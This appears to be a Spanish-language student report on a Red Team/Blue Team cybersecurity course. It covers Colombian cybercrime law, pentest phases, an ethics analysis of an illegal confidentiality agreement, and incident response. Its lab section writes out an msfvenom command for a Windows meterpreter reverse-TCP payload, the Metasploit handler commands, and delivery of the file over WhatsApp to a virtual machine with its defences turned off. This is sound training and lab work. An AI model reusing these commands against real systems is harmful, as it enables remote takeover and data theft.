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RESUMEN

El presente informe técnico ofrece una sintesis detallada del programa de capacitacion
en estrategias de Red Team y Blue Team, enfocado en la seguridad cibernética y la
evaluacion de la seguridad informatica. Se hace énfasis en la distincion entre los equipos
Red Team, encargados de simular ataques cibernéticos para identificar vulnerabilidades,
y los equipos Blue Team, responsables de defender la infraestructura de Tl y detectar
intrusiones en tiempo real.

Durante el desarrollo del curso, se llevaron a cabo actividades practicas que permitieron
experimentar con simulaciones de ataques y respuestas a incidentes en tiempo real. Se
proporciona una descripcion detallada de las herramientas de software utilizadas por el
equipo Red Team, junto con explicaciones técnicas sobre su funcionamiento y utilidad.

Se subraya la importancia de detectar fallos de seguridad y se presenta informacion
detallada sobre los datos criticos utilizados para este propdsito, respaldada por graficos
y diagramas que ilustran las etapas de un ataque.

Este informe también enfatiza la colaboracion entre los equipos Red Team y Blue Team,
resaltando la necesidad de comunicacién y cooperacién para proteger eficazmente a la
organizacion contra las amenazas cibernéticas. Ademas, se destaca la importancia de
una estrategia integral de seguridad que involucre a todos los actores relevantes en la
organizacion, desde los equipos técnicos hasta la alta direccion. Por lo tanto, este informe
ofrece una visidon completa del curso, destacando tanto los aspectos técnicos como la
importancia de la colaboracién y la comunicacién en la defensa cibernética empresarial.



GLOSARIO

BACKUP: También conocido como copia de seguridad, es la replicacion de datos
almacenados en dispositivos electréonicos o sistemas informaticos, realizada con el
propdsito de proteger dichos datos ante posibles pérdidas, dafos o eliminaciones
accidentales.

BLUE TEAM: Este equipo esta compuesto por expertos en seguridad cibernética, cuya
labor se enfoca en la defensa de redes, sistemas o infraestructuras contra amenazas
cibernéticas.

CIS (Centro de Seguridad de Internet Controles Criticos de Seguridad para la
Defensa Cibernética): Este centro especializado se dedica a la gestién de controles
criticos de seguridad para la defensa cibernética en el ambito de la seguridad en internet.

CSIRT (Computer Security Incident Response Team): Un equipo especializado en
ciberseguridad encargado de garantizar la proteccion de una organizacion frente a
amenazas informaticas y de responder de manera efectiva a incidentes de seguridad.

CVE (Common Vulnerabilities and Exposures): Es un sistema que enumera y rastrea
las vulnerabilidades de seguridad en software y hardware. A cada vulnerabilidad se le
asigna un numero unico y se registra en una base de datos centralizada para su
seguimiento y gestion por parte de organizaciones de seguridad y desarrolladores de
software.

EDR (Endpoint Detection and Response): Este sistema se enfoca en detectar y
responder a amenazas cibernéticas en tiempo real, utilizando técnicas avanzadas de
monitoreo y analisis de actividad en los puntos finales para identificar comportamientos
sospechosos o maliciosos.

EXPLOIT: Es un programa o cddigo disefiado para aprovechar una vulnerabilidad en un
sistema informatico o software con el fin de realizar acciones no autorizadas o tomar
control del sistema, siendo comunmente utilizado por ciberdelincuentes para perpetrar
ataques informaticos.

FIREWALL: Un componente o medida de seguridad informatica disefiado para proteger
una red o sistema de computadoras contra accesos no autorizados y amenazas
provenientes de internet u otras redes.

HACKER: Individuo que se dedica a ingresar o manipular sistemas informaticos y redes
de computadoras de manera no autorizada, con diversas motivaciones que pueden incluir



la busqueda de vulnerabilidades para mejorar la seguridad informatica o cometer
actividades ilegales como el robo de datos o el vandalismo digital.

HARDENIZACION: Practica de fortalecer la seguridad de un sistema o red informatica
para proteger los activos digitales y datos sensibles de posibles amenazas y ataques
cibernéticos.

I0C (Indicador de Compromiso): Término utilizado en ciberseguridad y deteccion de
amenazas informaticas para referirse a pistas o sefales que indican la presencia de
actividades maliciosas en una red o sistema informatico.

MALWARE: se refiere a cualquier tipo de software disefiado con intenciones maliciosas
para dafar, infectar o comprometer sistemas informaticos, dispositivos o datos de
usuarios sin su consentimiento.

METASPLOIT: Marco de prueba de penetracion ampliamente utilizado en ciberseguridad
para evaluar la seguridad de sistemas informaticos, identificar vulnerabilidades y probar
la efectividad de las medidas de seguridad.

PENTESTING: Proceso de ataque controlado a la seguridad de un sistema informatico,
utiizado como prueba de penetracion para evaluar su seguridad vy identificar
vulnerabilidades.

PHISHING: Técnica utilizada por la ciberdelincuencia para engaiar y estafar a personas
con el fin de obtener informacion personal y confidencial.

RED TEAM: Grupo de profesionales dedicados a realizar pruebas de seguridad y
evaluaciones de vulnerabilidad en una organizacion o sistema.

SIEM (Security Information and Event Management): Un sistema diseiado para
gestionar informacién y eventos de seguridad, que recopila y analiza datos relacionados
con la seguridad.

SPIDERFOOT: Una herramienta de inteligencia de cddigo abierto que se utiliza para
automatizar la recoleccion de informacién sobre objetivos y las amenazas potenciales
que puedan afectarlos.

VULNERABILIDAD: Debilidad o fallo en un sistema informatico que podria ser explotado
por un atacante para comprometer la integridad, confidencialidad o disponibilidad de la
informacion o los recursos del sistema.

XDR (Extended Detection and Response): Una plataforma de deteccién y respuesta
que se extiende para cubrir varias capas de seguridad.



INTRODUCCION

La era digital ha introducido una serie de progresos tecnolégicos que han transformado
profundamente nuestras rutinas diarias y la manera en que trabajamos. Sin embargo,
junto con estos avances, también han surgido inquietudes cada vez mas apremiantes en
torno a la seguridad cibernética. En un contexto donde la informacién se ha convertido
en un recurso invaluable, la proteccidn contra ciberataques se ha erigido como una
prioridad critica tanto para gobiernos, empresas y personas individuales.

En este escenario, los equipos Red Team y Blue Team emergen como actores cruciales
en la lucha contra las amenazas cibernéticas. Inspirado en el ambito militar, el equipo
Red Team se dedica a simular ataques utilizando herramientas y técnicas similares a las
empleadas por los propios atacantes, con el fin de descubrir vulnerabilidades y puntos
débiles en sistemas y redes. Por otro lado, el equipo Blue Team asume el papel de
defensor, manteniendo la seguridad de la infraestructura de tecnologias de la
informacion, implementando medidas preventivas y de deteccion de intrusiones, y
respondiendo a amenazas en tiempo real.

A lo largo de este documento, se examinan de forma detallada las estrategias y tacticas
empleadas por ambos equipos, asi como su colaboracion en el concepto conocido como
Purple Team. Ademas, se exploran herramientas y conceptos fundamentales en el ambito
de la ciberseguridad, ilustrados con ejemplos practicos de actividades realizadas durante
el curso. En un entorno digital en constante evolucion, comprender estas estrategias
resulta esencial para proteger de manera efectiva nuestros activos y datos en linea. Este
informe proporciona una visidon completa de los equipos Red Team y Blue Team, junto
con un analisis exhaustivo de las amenazas y defensas cibernéticas que enfrentamos en
la actualidad.
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1. OBJETIVOS

1.1 OBJETIVO GENERAL:

Desarrollar y aplicar estrategias efectivas para reducir los riesgos y vulnerabilidades
presentes en las infraestructuras de Tecnologias de la Informacién, a través de una
evaluacion exhaustiva de los riesgos y vulnerabilidades asociados.

1.2 OBJETIVOS ESPECIFICOS:

e Examinar detalladamente las capacidades de los equipos Red Team y Blue Team
en la gestion de riesgos informaticos, identificando las practicas o6ptimas
empleadas por ambos equipos y proponiendo estrategias eficaces para mitigar el
impacto de las amenazas.

¢ Identificar las fases criticas de las pruebas de penetracién, con especial atencion
en la fase de "footprinting" (recoleccion de informacion), resaltando su importancia
para la deteccion de vulnerabilidades y debilidades en sistemas y redes.

e Investigar a fondo las herramientas de ciberseguridad ampliamente utilizadas,
como Metasploit, Maltego y SpiderFoot, ofreciendo descripciones detalladas de
sus funciones y usos en la identificacion de amenazas y la evaluacion de la
seguridad.

e Realizar un anadlisis exhaustivo del acuerdo de confidencialidad desde
perspectivas legales y éticas en el contexto colombiano, relacionando estos
conceptos con casos de cibercrimen en el pais para una comprension mas amplia
de las implicaciones legales y éticas.

e Profundizar en los elementos clave relacionados con la seguridad informatica,
desde la identificacién de herramientas de ataque y su funcionamiento, hasta la
aplicaciéon de medidas preventivas y la evaluacion de la importancia de los
sistemas de seguridad activos en la prevencion de ataques informaticos en un
entorno Windows 10 X64.
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2. DESARROLLO DEL INFORME

Durante el desarrollo del seminario especializado en el escenario Red Team & Blue Team,
se desarrollaron distintos ambitos los cuales propiciaron una vista amplia del
funcionamiento de los equipos de Red Team & Blue Team, los cuales se abordaran a
continuacion:

3. AMBITO 1 - CONCEPTO EQUIPOS DE SEGURIDAD

3.1 La Ley 1273 de 2009: En Colombia se concentra en la regulacion de los delitos
informaticos y la salvaguarda de la informacion en entornos digitales. A
continuacion, se ofrece un resumen de cada articulo de la ley:

3.1.1 Articulo 1: La ley tiene como proposito definir y penalizar los delitos
informaticos que afectan la confidencialidad, integridad y disponibilidad de la
informacion y los datos informaticos.

3.1.2 Articulo 2: Define los términos esenciales utilizados en la ley, como datos
informaticos, informacion y sistemas informaticos, entre otros.

3.1.3 Articulo 3: Aborda la jurisdiccion aplicable a los delitos informaticos cometidos
en territorio colombiano, independientemente de la nacionalidad del
perpetrador.

3.1.4 Articulo 4: Establece las sanciones para los delitos informaticos, considerando
factores como el perjuicio causado y el valor de la informacion afectada.

3.1.5 Articulo 5: Trata la responsabilidad de las personas juridicas por los delitos
informaticos cometidos en su nombre o benéeficio.

3.1.6 Articulo 6: Se refiere a la competencia de las autoridades colombianas para
investigar y enjuiciar los delitos informaticos.

3.1.7 Articulo 7: Establece la facultad de la Policia Judicial para llevar a cabo
investigaciones sobre delitos informaticos.
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3.1.8 Articulo 8: Regula la cadena de custodia de la evidencia digital en procesos
penales.

3.1.9 Articulo 9: Faculta a la Fiscalia General de la Nacién para adoptar medidas
urgentes 'y necesarias en casos de delitos informaticos.

3.1.10 Articulo 10: Dispone sobre la cooperacion internacional en la investigacion y
persecucion de delitos informaticos.

3.2 Ley 1581 de 2012 en Colombia: se enfoca en la proteccion de datos personales.
La legislacion regula el tratamiento de la informacion personal, estableciendo los
derechos de las personas sobre sus datos. Los aspectos clave incluyen el
consentimiento para el tratamiento de datos, la finalidad del tratamiento, la
seguridad de la informacion, el acceso a los datos personales y la responsabilidad
de las entidades que manejan esta informacion.

En relacion a las sanciones y la entidad reguladora, la Superintendencia de
Industria y Comercio (SIC) es la entidad encargada de supervisar y aplicar
sanciones. Las multas pueden variar segun la gravedad de la infraccion y la
entidad responsable, por lo que se recomienda consultar fuentes actualizadas
para obtener informacion precisa sobre montos especificos de multas, ya que
estos pueden cambiar con el tiempo.

3.3 El pentesting, o prueba de penetracion, es un procedimiento esencial en
ciberseguridad que busca evaluar la seguridad de un sistema o red mediante la
simulacion de un ataque real. Las etapas del pentesting comprenden:

1. Reconocimiento (Footprinting): Durante esta fase, se recopila
informacion sobre el objetivo antes de ejecutar un ataque. La busqueda
incluye obtener datos como direcciones IP, nombres de dominio, detalles de
la infraestructura de red, y datos sobre empleados y tecnologias utilizadas.

2. Andlisis de Recopilacion (Reconnaissance): Aqui se analiza la
informacion recopilada en la etapa de footprinting para identificar posibles
puntos de entrada y areas vulnerables.

3. Enumeracién: Se obtienen detalles adicionales sobre el sistema objetivo,
como servicios activos, usuarios y recursos disponibles.

4. Obtencidn de Acceso (Gaining Access): En esta fase, se intenta explotar
las vulnerabilidades identificadas para obtener acceso no autorizado al
sistema.

5. Mantenimiento del Acceso (Maintaining Access): Una vez que se
obtiene el acceso, se busca mantener la presencia en el sistema para
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evaluar la capacidad de la organizacion para detectar y responder a
intrusiones.

6. Anadlisis de Resultados y Documentacion (Analysis and
Documentation): Se evaluan los resultados del pentesting y se
documentan los hallazgos, generando informes detallados vy
proporcionando recomendaciones para mejorar la seguridad.

La etapa de Footprinting es crucial, ya que establece |la base para las fases
subsiguientes del pentesting. En este proceso, se recopila informacion
sobre la infraestructura, empleados y sistemas del objetivo, utilizando
fuentes como redes sociales, registros DNS y fuentes publicas. La
informacion recopilada facilita a los pentesters la comprension de la
superficie de ataque y la planificacion estratégica de sus acciones futuras.

3.4 Herramientas comunes (Open Source y pagas) para Footprinting:

1. Maltego: Herramienta de cédigo abierto que posibilita la mineria de datos
y visualizacion de informacién recopilada de diversas fuentes.

2. theHarvester: Herramienta de cddigo abierto para la obtencion de
informacion de correos electrénicos, subdominios, nombres de host y
empleados mediante motores de busqueda y otras fuentes publicas.

3. Shodan: Motor de busqueda que localiza dispositivos conectados a
Internet, como camaras y servidores.

4. Recon-ng: Herramienta de cddigo abierto disefiada para la recopilacion de
informacion automatizada de diversas fuentes.

La etapa de Footprinting es fundamental porque proporciona la informacion
necesaria para identificar vulnerabilidades y puntos débiles en la
infraestructura del objetivo. La comprension detallada del alcance y la
topologia de la red permite a los pentesters desarrollar estrategias
efectivas, contribuyendo significativamente al éxito global del proceso de
pentesting.

3.5Un CVE, o "Common Vulnerabilities and Exposures" (Vulnerabilidades vy
Exposiciones Comunes), es un sistema estandarizado para identificar y nombrar
publicamente vulnerabilidades de seguridad en software. Su propdsito principal es
proporcionar un método uniforme para referenciar y compartir informacion sobre
vulnerabilidades en sistemas informaticos.

14



La estructura de un CVE sigue este formato:

3.6 Formato general: CVE seguido por el aho y un numero de identificacion
unico, como por ejemplo, CVE-2022-12345.

1.
2.

3.

CVE: Siglas de Common Vulnerability and Exposure.

Ano: Indica el aio en que se asigné el identificador, por ejemplo, CVE-2022-
12345.

Numero de identificacion unico: Un numero secuencial asignado a cada
vulnerabilidad en un afio especifico, como en el caso de CVE-2022-12345.

Esta estructura ofrece una identificacion unica para cada vulnerabilidad,
simplificando la busqueda, organizacion y comunicacion de informacion
sobre amenazas de seguridad.

Los profesionales de ciberseguridad utilizan CVEs para clasificar y
identificar vulnerabilidades, asi como para determinar la susceptibilidad de
una aplicacion, sistema o software a amenazas conocidas. La presencia de
un CVE facilita la comunicacién dentro de la comunidad de seguridad,
permitiendo el intercambio de informacion y la implementacion de medidas
para mitigar los riesgos asociados con vulnerabilidades especificas.

Al utilizar herramientas como Metasploit, los expertos en ciberseguridad
buscan CVEs relacionados con las tecnologias especificas que estan
evaluando. Si un CVE esta asociado con una vulnerabilidad particular, es
mas probable que existan exploits en Metasploit u otras bases de datos de
exploits, lo que permite a los profesionales abordar de manera efectiva las
debilidades de seguridad identificadas.

3.7 EVIDENCIA BANCO DE TRABAJO
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Figura 1. Instalacién de la herramienta “VirtualBox”
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Paso B: Instalacion de maquinas virtuales, una con sistema operativo Kali Linux y otra
Windows 10.

Figura 2. Instalacion de maquina virtual Kali Linux
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Figura 3. Instalacion Maquina virtual Windows 10
u ,

L Escribe aquf para buscar. E o
B Qe 2 32 BLCRECHO@TY FD o eoo N0
Fuente: Propia

-

Paso C: Se valida que exista comunicacién entre cada una de las maquinas Windows y

Kali Linux
Figura 4. Verificacion de IP de la Maquina Windows 10
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Figura 5. Verificacion de la IP Maquina Kali Linux
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Figura 6. Ping desde la maquina Windows 10 hacia la maquina Kali Linux
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4. AMBITO 2 - ACTUACION ETICAY LEGAL

4.1 ;Qué parrafos cree usted que se tornan ilegales dentro del acuerdo de
confidencialidad?

El acuerdo de confidencialidad presentado en el Anexo 3 plantea varias clausulas
que pueden ser problematicas tanto desde una perspectiva legal como ética. A
continuacion, se mencionan algunas de estas clausulas:

Clausula primera — objeto: Establece una obligacién de no revelar informacién
confidencial "sobre procesos ilegales dentro de HackerHouse". Esta formulacién
sugiere que se esta exigiendo a la parte receptora ocultar informacion sobre
actividades ilegales, lo cual podria interpretarse como complicidad en la comisién
de delitos. Participar en actividades ilegales es por si mismo ilegal, y obligar a
alguien a guardar silencio al respecto, va en contra de la ley.

clausula cuarta - obligaciones de la parte receptora: Establece que la parte
receptora no debe informar sobre actividades sospechosas de espionaje u otros
procesos que impliquen la apropiacion de informacion de terceros. Esto podria
considerarse como un intento de obstruccion a la justicia y una violacién del deber
de reportar actividades delictivas.

Clausula sexta - Responsabilidad: Establece que la parte que incumpla el
acuerdo sera responsable ante la otra parte o terceros de buena fe. Sin embargo,
responsabilizar a alguien por denunciar actividades ilegales podria estar en
contradiccion con las leyes de proteccion del denunciante, las cuales en muchos
paises protegen a quienes revelan informacién sobre actividades ilegales en sus
lugares de trabajo.

Clausula Octava - Soluciéon de controversias: Sugiere que, si se encuentra
informacion ilegal en posesion del receptor, este debera recurrir a un abogado
privado y exonerar a HackerHouse de cualquier responsabilidad legal y penal. Esta
disposicion podria interpretarse como un intento de manipular el proceso legal y
eludir la responsabilidad por actividades ilegales.

Estas clausulas del acuerdo de confidencialidad podrian considerarse ilegales, ya
que parecen requerir o alentar a las partes a ocultar informacion sobre actividades
ilegales, obstruir la justicia o eludir la responsabilidad por acciones delictivas. Tales
disposiciones son contrarias a la ética y a las leyes que promueven la
transparencia, el cumplimiento de la ley y la responsabilidad corporativa.
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4.2 PROCESO ILEGAL EN EL ANEXO 3

En el Anexo 3 - Acuerdo, algunas clausulas podrian ser problematicas desde el
punto de vista legal. En particular, la Clausula Cuarta - Obligaciones de la parte
receptora, establece que la parte receptora no debe denunciar actividades
sospechosas de espionaje u otros delitos. Esto podria contravenir el deber legal
de reportar actividades delictivas en Colombia.

En Colombia, la Ley 906 de 2004, en su articulo 234, establece la obligacion de
reportar actividades delictivas a las autoridades competentes. Este articulo indica
que cualquier persona que tenga conocimiento de la comisién de un delito debe
informar de inmediato a la autoridad, so pena de incurrir en responsabilidad penal
por omision de denuncia.

El articulo 236 del Cédigo Penal Colombiano establece que: "Quien, teniendo
conocimiento de la comision de un delito contra la administracion de justicia, no lo
denuncie oportunamente, sera sancionado con prision de seis (6) meses a dos (2)
afios y multa de diez (10) a cien (100) salarios minimos legales mensuales
vigentes."

En este caso, la clausula del contrato que prohibe la denuncia de actividades
sospechosas de espionaje o apropiacién de informacion de terceros podria estar
infringiendo esta disposicion legal al imponer una restriccion indebida sobre la
obligacion de denunciar ciertos delitos.

4.3 ACEPTAR O NO EL CONTRATO EN CASO DE ENCONTRAR PROCESOS
ILEGALES EN EL ACUERDO DE CONFIDENCIALIDAD

Aceptar un contrato y acuerdo de confidencialidad con la organizacion
HackerHouse, a pesar de encontrar procesos ilegales en el acuerdo de
confidencialidad, puede tener implicaciones éticas y legales significativas.

Por un lado, si se decide aceptar el contrato y acuerdo de confidencialidad a pesar
de las irregularidades encontradas, se podria estar violando el codigo de ética de
profesidn como ingeniero, asi como las leyes y regulaciones vigentes en Colombia
relacionadas con la ética profesional y las sanciones por actividades ilegales.

Por otro lado, rechazar el contrato y acuerdo de confidencialidad podria proteger

al ingeniero de verse involucrado en actividades ilegales o poco éticas, y podria
salvaguardar su reputacién y credibilidad como profesional.
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En ultima instancia, la decisién de aceptar o rechazar el contrato y acuerdo de
confidencialidad dependera de los propios valores éticos, la evaluacién de riesgos
y consecuencias, y la consideracion de las leyes y regulaciones aplicables en
Colombia. Es importante consultar con asesores legales y éticos antes de tomar
una decision.

Como profesional, se tiene el deber ético de actuar con integridad y conforme a
los principios éticos del campo laboral. Descubrir practicas ilegales en un acuerdo
de confidencialidad plantea un dilema moral, ya que aceptar el contrato podria
implicar participar en acciones contrarias a los valores éticos y los estandares
profesionales. Es crucial considerar como esta eleccion podria impactar a terceros,
la reputacion de la organizacion y la sociedad en su conjunto.

Al aceptar un acuerdo de confidencialidad que involucre actividades ilegales, se
expone a riesgos legales como multas, demandas judiciales e incluso acciones
penales. Ademas, infringir el cdédigo ético de la profesion podria llevar a la
revocacion de la tarjeta profesional, con consecuencias significativas para la
carrera.

Como individuo, se tiene la responsabilidad personal de tomar decisiones
coherentes con los principios y valores éticos. Optar por aceptar el contrato a pesar
de las irregularidades podria posicionar al profesional en una situacion moralmente
lcomprometida, con posibles repercusiones en el bienestar emocional y
psicoldgico a largo plazo.

4.4 CIBERCRIMEN EN COLOMBIA

Un incidente de phishing a gran escala en Colombia ha generado una
preocupacion considerable en el pais debido a la magnitud y las repercusiones de
esta actividad delictiva. Segun los informes mas recientes de las autoridades de
ciberseguridad, se estima que miles de usuarios fueron afectados por esta
campana de correos electronicos fraudulentos.

Los correos electrénicos falsificados, meticulosamente disefados por los
ciberdelincuentes para imitar comunicaciones legitimas de bancos reconocidos en
Colombia, fueron utilizados como anzuelo. A través de técnicas de ingenieria

11 CONSEJO PROFESIONAL NACIONAL DE INGENIERA COPNIA. Republica de Colombia. Cédigo de
ética para el ejercicio de la Ingeniera en general y sus profesiones afines y auxiliares. [En linea] [01 de
abril de 2024] disponible en: (https://www.copnia.gov.co/tribunal-de-etica/codigo-deetica).

21



social, los mensajes persuadian a los destinatarios para que hicieran clic en
enlaces maliciosos que los redirigian a sitios web fraudulentos. Alli, se les
solicitaba ingresar sus credenciales bancarias y otra informacion personal.

Una vez que los usuarios proporcionaban esta informacion sensible, los atacantes
la utilizaban para acceder a sus cuentas bancarias, realizar transacciones no
autorizadas e incluso cometer robo de identidad. Ademas de las pérdidas
financieras sufridas por las victimas, este incidente ha generado una inquietud
generalizada sobre la seguridad cibernética y la confianza en las comunicaciones
en linea en Colombia.

Las autoridades colombianas, incluyendo la Policia Cibernética y la Fiscalia
General de la Nacion, han puesto en marcha investigaciones para identificar y
capturar a los responsables de este caso de phishing masivo. En colaboracion con
entidades bancarias y empresas de tecnologia, se esta trabajando para rastrear el
origen de los correos electronicos fraudulentos y desmantelar las redes criminales
implicadas en esta actividad ilicita.

IMPLICACIONES LEGALES Y ETICAS

En cuanto a las implicaciones legales, el delito de phishing esta contemplado en
la Ley 1273 de 2009 de Colombia, especificamente en su articulo 269A, el cual
establece sanciones para quienes cometan acciones fraudulentas mediante el uso
de sistemas informaticos. Los perpetradores podrian enfrentar cargos criminales
que incluyan penas de prision y multas significativas.

Desde una perspectiva ética, el phishing representa una clara violacion de la
privacidad y la confianza de los usuarios. La manipulacion engafosa de la
informacion personal y financiera de las personas tiene consecuencias
devastadoras y socava la integridad del entorno digital.

Los ciberdelincuentes explotan la ingenuidad y la confianza de las personas al
disefiar correos electronicos y sitios web falsificados que imitan a entidades
legitimas. Esto no solo compromete la seguridad financiera y personal de los
individuos, sino que también socava la confianza en las comunicaciones en linea
y en la seguridad de los servicios bancarios y financieros.
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5. AMBITO 3 - EJECUCION PRUEBAS DE INTRUSION

5.1 CREACION DEL PAYLOAD:

- Para crear un payload malicioso, se utiliz6 MSFVenom, una herramienta de Metasploit
disefiada para generar payloads. EI comando usado fue:

msfvenom -p Windows/x64/meterpreter/reverse _tcp —platform windows -a x64
LHOST=192.168.100.103 LPORT=443 -f exe

>> root/Escritorio/PoC_1023957354.exe

- Uso De Ingenieria Social A Través De Whatsapp Web: Para transferir el payload desde
Kali-linux hacia Windows se realizé a través de WhatsApp web (“Usando Ingenieria
Social’).

- Uso de metasploit: Una vez creado el archivo "PoC_1023957354.exe", usé Metasploit
para explotar la vulnerabilidad en la maquina objetivo y obtener acceso remoto con los
comandos:

* use exploit/multi’/handler

» set PAYLOAD windows/meterpreter/reverse_tcp

* set LHOST 192.168.100.103 * set LPORT 443

* exploit

- Control remoto: Una vez se ejecuto el archivo "PoC_1023957354.exe", en la maquina
virtual de Windows, se establecié una conexion entre la maquina de Kali-linux y la
maquina de Windows logrando obtener acceso y control remoto a través de Metasploit.

5.2 IDENTIFICACION DEL FALLO DE SEGURIDAD:

Para identificar el fallo de seguridad realizado con MSFvenom a la maquina de
Windows 10, fue importante la siguiente informacién del anexo:

a. Los datos del sistema operativo y la arquitectura de la maquina atacada.

b. El paso en el cual se relaciona que elementos de seguridad de la maquina
atacada deberian ser suspendidos.
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c. Los procedimientos, comandos y la sintaxis usada para generar un Payload en
Kali-linux y el procedimiento para explotarlo en la maquina virtual de Windows.

d. La manera para realizar la transferencia del archivo .exe fue usando whatsapp
web

5.3 IDENTIFICACION FALLOS EN LA SEGURIDAD:
Con Nmap se realizd un escaneo intensivo de puertos a la maquina Windows detectando
abiertos los puertos 135/tcp; 139/tcp; y 445/tcp

Figura 7. Escaneo con NMAP
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Fuente: Propia

La aplicacion abre el puerto 443 que es conocido como el puerto estandar para el
protocolo https.

PROCEDIMIENTO DE ATAQUE AWINDOWS 10:
Con este ataque se puede conseguir las siguientes afectaciones:

- Control Remoto: Permiti6 tomar el control remoto de la maquina Windows. Esto se
consiguié entregando la carga util o Payload que establecio la conexion inversa (reverse
shell) o una conexion de puerta trasera (backdoor) en el sistema de la victima.

- Exfiltracion de Datos: Con las condiciones del ataque se puede exfiltrar datos
confidenciales de la victima. Esto puede incluir archivos, credenciales, informacién
personal, etc.
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- Persistencia: Este payload también se podria usar para asegurar el acceso continuo al
sistema atacado.

- Reconocimiento: Este ataque se puede utilizar para entregar otras cargas utiles que
logren recopilar informacién sobre el sistema comprometido, como el sistema operativo,
la version del software y otros detalles que pueden ser utiles para un atacante.

En el siguiente procedimiento se puede observar la secuencia del ataque realizado a la
maquina de Windows 10:

- En la figura 2 se evidencia las pruebas de conectividad desde la maquina virtual de
windows 10 hacia la maquina de Kali-Linux

Figura 8. Prueba de conectividad desde Windows 10
-]

Fuente: Propia

En la Figura 3 se evidencia la prueba de conectividad entre la maquina virtual de Kali-
linux hacia la maquina de Windows 10
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Figura 9. Prueba de conectividad desde kali-linux
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En las figuras 4, 5 y 6 se evidencia el procedimiento que se realizé en Windows para
bajar las protecciones de seguridad de las herramientas de firewall, antivirus (Windows
Defender) y la Proteccién en tiempo real

Figura 10. Eliminacion de seguridad de Firewall en Windows 10
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Fuente: Propia
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Figura 11. Eliminacion de seguridad de Windows defender
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Figura 12. Eliminacion de seguridad de proteccion en tiempo real
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En la figura 7 se puede evidenciar la ejecucion del comando para la creacion del archivo
Payload “Carga Util” con el cual se colocara el sefiuelo para realizar el ataque
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Figura 13. Creacion del Payload o carga util para atacar a Windows
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Figura 14. Creacion del Payload o carga util para atacar a Windows
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En la figura 8 y 9 se puede observar como es muy facil enviar un archivo .exe a través
de Whatsapp sin que esta plataforma realice ninguna alerta. En este caso desde la
maquina virtual de Kali-linux, hacia una maquina de Windows 10.

Figura 15. Transferencia del Payload
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Fuente: Propia

En la figura 10 se puede observar la ejecucion de los comandos necesarios para
realizar el ataque de manera remota y se evidencia cuando el archivo fue ejecutado en
la maquina atacada ya que se toma el control de esta.

Figura 16. Ejecucion del Exploit y acceso a Windows desde Kali-Linux

WORKGR

Fuente: Propia

En la figura 11 se evidencia la facilidad en que se puede realizar cualquier accién dentro
de la maquina atacada. En este caso el borrado de un archivo que se encontraba en el
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escritorio de la maquina de Windows 10.

Figura 17. Borrado del archivo “Prueba” en Windows, desde Metasploit

File Actions Edit View Help

Fuente: Propia

5.4 COMANDOS USADOS:
- Generacion del Payload:

Para generar el payload con MSFVenom, se uso la siguiente estructura:

msfvenom -p [Payload] [opciones] -f [formato] -0
[nombre_de_archivo_de_salidal:

[Payload]: Aqui se especifica el payload que quiere generar, como
“‘windows/meterpreter/reverse_tcp” para Windows o
“linux/x86/meterpreter_reverse _tcp” para Linux.

[opciones]: Aca se puede incluir opciones especificas para configurar el
payload, como la direccion IP y el puerto.

[formato]: Aca se coloca el formato de salida, que puede ser exe, raw, php, u
otros.

[nombre_de_archivo_de_salida]: Aca va la ruta y el nombre del archivo del

payload generado.
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Comando usado:

msfvenom -p Windows/x64/meterpreter/reverse_tcp —platform windows -a x64
LHOST=192.168.100.103 LPORT=443 -f exe >>
/root/Escritorio/PoC_1023957354.exe

5.5 ESTRUCTURA DEL PAYLOAD:

El payload generado por MSFVenom tiene una estructura especifica segun el tipo de
payload y el formato que se requiera. En el ejemplo anterior, se gener6 un payload de
Windows en formato exe. La estructura general del payload es la siguiente:

- Cabecera del Payload: Esta seccion contiene informacion necesaria para que el sistema
operativo ejecute el payload correctamente.

- Codigo del Payload: Aqui se encuentra el codigo que realiza la conexién inversa al
servidor (en el caso de un payload reverse_tcp) y ejecuta las acciones especificadas en
la carga util.

- Recursos Incorporados (si los hay): Algunos payloads pueden incluir recursos
adicionales, como bibliotecas DLL o scripts, que son necesarios para su funcionamiento.?

Se us6 Metasploit para explotar la vulnerabilidad en la maquina objetivo y obtener acceso
remoto usando los siguientes comandos:

* use exploit/multi’/handler

» set PAYLOAD windows/meterpreter/reverse_tcp
» set LHOST 192.168.100.103

» set LPORT 443

* exploit

2 Sanchez Mario UCLM. (2020). Seguridad ofensiva en Windows: Fundamentos de Red Team. [En linea]
[9 de marzo de 2023]. disponible en:
https://mcsi.uclm.es/wpcontent/uploads/2021/05/TFM_MarioVegaSanchez.pdf
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6. AMBITO 4 - Contencion de ataques informaticos

6.1 ;ANTE UN ATAQUE INFORMATICO EN TIEMPO REAL USTED COMO
EXPERTO EN CIBERSEGURIDAD QUE PASOS TOMA PARA IDENTIFICAR
DICHO ATAQUE?

En primer lugar, se debe realizar una busqueda activa de cualquier indicio o
comportamiento anémalo que pueda indicar la presencia de un ataque en curso.
Esto puede incluir la vigilancia de alertas de seguridad, monitoreo de registros de
eventos del sistema y cualquier otra sefial de actividad sospechosa.

Tras la deteccion inicial, se lleva a cabo un andlisis exhaustivo de todas las alertas
y registros de eventos generados por los sistemas de seguridad y las aplicaciones.
Esto implica revisar minuciosamente cada alerta para comprender su origen,
contexto y posible impacto en la seguridad.

Se procede a recopilar toda la evidencia digital relevante relacionada con el
incidente, incluidos registros de red, archivos de registro del sistema, capturas de
pantalla y cualquier otro dato que pueda proporcionar informacion sobre el ataque.
Es fundamental preservar la integridad de la evidencia para su analisis posterior.

Se realiza una evaluacion detallada para determinar el tipo de ataque que esta
ocurriendo. Esto implica identificar si se trata de un intento de intrusion, la
propagacion de malware, un ataque de denegacion de servicio (DDoS) u otro tipo
de amenaza cibernética.

Se lleva a cabo un analisis exhaustivo de la actividad maliciosa para comprender
como esta afectando al sistema y cuales son los objetivos del atacante. Esto
incluye examinar las herramientas utilizadas, las técnicas de ataque empleadas y
cualquier otra accion malintencionada que pueda haber sido llevada a cabo.

Se determinan las acciones de respuesta necesarias en funcion del nivel de riesgo
y del impacto potencial del incidente en la organizacion. Las medidas de respuesta
pueden variar desde la mitigacion inmediata de la amenaza hasta la
implementacion de estrategias de contencién y recuperacion a largo plazo.

Se comunica de manera oportuna y efectiva el incidente a todas las partes
interesadas pertinentes, incluidos los equipos de seguridad, la alta direccion y
otras partes afectadas. Esto garantiza una coordinacion adecuada y una respuesta
eficaz al incidente.

Se toman medidas inmediatas para bloguear cualquier acceso no autorizado al
sistema o a los recursos comprometidos. Esto puede incluir la implementacién de
medidas de seguridad adicionales, como la restriccion de acceso a determinados
puertos o la desactivacién de cuentas comprometidas.
